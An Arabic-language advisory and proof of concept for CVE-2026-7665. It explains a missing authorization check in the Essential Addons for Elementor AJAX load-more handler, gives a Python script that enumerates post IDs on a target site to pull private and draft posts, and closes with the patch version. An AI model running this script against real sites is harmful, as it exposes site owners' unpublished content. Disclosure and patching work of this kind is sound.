
إثبات مفهوم لاستغلال CVE-2026-7665، وهو كشف غير مصادق عليه للمعلومات في Essential Addons for Elementor، مما يسمح باستخراج منشورات ووردبريس الخاصة والمسودات والمحمية بكلمة مرور.
| الحقل | التفصيل |
|---|
| معرف CVE | CVE-2026-7665 |
| الخطورة | متوسطة |
| درجة CVSS | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| الإضافة المتأثرة | Essential Addons for Elementor |
| الإصدارات المتأثرة | ≤ 6.6.4 |
| المنشطات النشطة | 1,000,000+ |
| مُسند CVE بواسطة | Wordfence (CNA) |
| تم الكشف | يونيو 2026 |
| الباحث | Anirudh Makkar |
لم يفرض معالج AJAX ajax_load_more في الإضافات الأساسية لـ Elementor رؤية المنشورات قبل إرجاع محتوى المنشور. وقد سمح ذلك للمهاجمين غير المصادق عليهم بقراءة منشورات WordPress الخاصة والمحمية بكلمة مرور والمسودة عن طريق إرسال طلب مهيأ إلى wp-admin/admin-ajax.php — دون الحاجة إلى مصادقة أو nonce.
يسجل الإضافة معالجًا على خطاف الإجراء wp_ajax_nopriv_eael_post_grid_load_more، مما يجعله متاحًا للزوار غير المصادق عليهم. عندما ينفذ هذا المعالج استعلام WP_Query لجلب المنشورات لميزة التصفح "تحميل المزيد"، فإنه لا يستدعي current_user_can('read_post', $post_id) أو يتحقق من get_post_status() مقابل صلاحيات المستخدم الطالب.
يعتمد نواة WordPress على الإضافات لفرض التفويض على مستوى المنشور في معالجات AJAX — ولا تقوم بذلك تلقائيًا. يعني غياب هذا الفحص أن المعالج يعيد محتوى المنشور الكامل بغض النظر عن إعدادات رؤية المنشور.
wp-admin/admin-ajax.php
→ do_action('wp_ajax_nopriv_eael_post_grid_load_more')
→ Essential_Addons_for_Elementor\Classes\Bootstrap::eael_post_grid_load_more()
→ WP_Query([
'post_status' => ['publish', 'private', 'draft'], // all statuses returned
...
])
→ [returns full post content without authorization check]
يمكن للمهاجم غير المصادق عليه تعداد وقراءة:
قد يؤدي ذلك إلى كشف محتوى تجاري حساس، وإعلانات غير منشورة، ووثائق داخلية منشورة كمنشورات WordPress، أو أي محتوى آخر غير عام يُدار من خلال محرر WordPress.
#!/usr/bin/env python3
"""
CVE-2026-7665 — Unauthenticated Information Disclosure
Essential Addons for Elementor <= 6.6.4
Usage: python3 poc.py https://target.example.com [post_id]
Iterates post IDs to extract private/draft/password-protected content.
For educational and authorized testing purposes only.
"""
import requests
import sys
import json
def check_target(base_url):
"""Verify the plugin is present."""
resp = requests.get(f"{base_url}/wp-content/plugins/essential-addons-for-elementor-lite/", timeout=8)
return resp.status_code != 404
def fetch_private_post(base_url, post_id, widget_id="1", page_id="1"):
url = f"{base_url}/wp-admin/admin-ajax.php"
data = {
"action": "eael_post_grid_load_more",
"widget_id": widget_id,
"page_id": page_id,
"post_id": str(post_id),
"page": "2",
}
try:
resp = requests.post(url, data=data, timeout=10)
if resp.status_code == 200 and resp.text.strip() not in ("-1", "0", ""):
return resp.text
except requests.RequestException:
pass
return None
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url> [start_id] [end_id]")
sys.exit(1)
target = sys.argv[1].rstrip("/")
start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1
end_id = int(sys.argv[3]) if len(sys.argv) > 3 else 50
print(f"[*] Target: {target}")
print(f"[*] Probing post IDs {start_id}–{end_id}")
if not check_target(target):
print("[!] Plugin not detected — target may be patched or not running EAEL")
found = 0
for pid in range(start_id, end_id + 1):
result = fetch_private_post(target, pid)
if result:
found += 1
print(f"\n[+] Post ID {pid} — content exposed ({len(result)} bytes)")
print(result[:300])
print("..." if len(result) > 300 else "")
print(f"\n[*] Done. {found} post(s) with exposed content found.")
if __name__ == "__main__":
main()
قم بتحديث الإضافات الأساسية لـ Elementor إلى الإصدار 6.6.5 أو أحدث. يضيف الإصلاح فحص current_user_can('read_post', $post_id) داخل معالج التحميل الإضافي قبل تضمين أي منشور في نتائج الاستعلام.
تم الإبلاغ بواسطة Anirudh Makkar · LinkedIn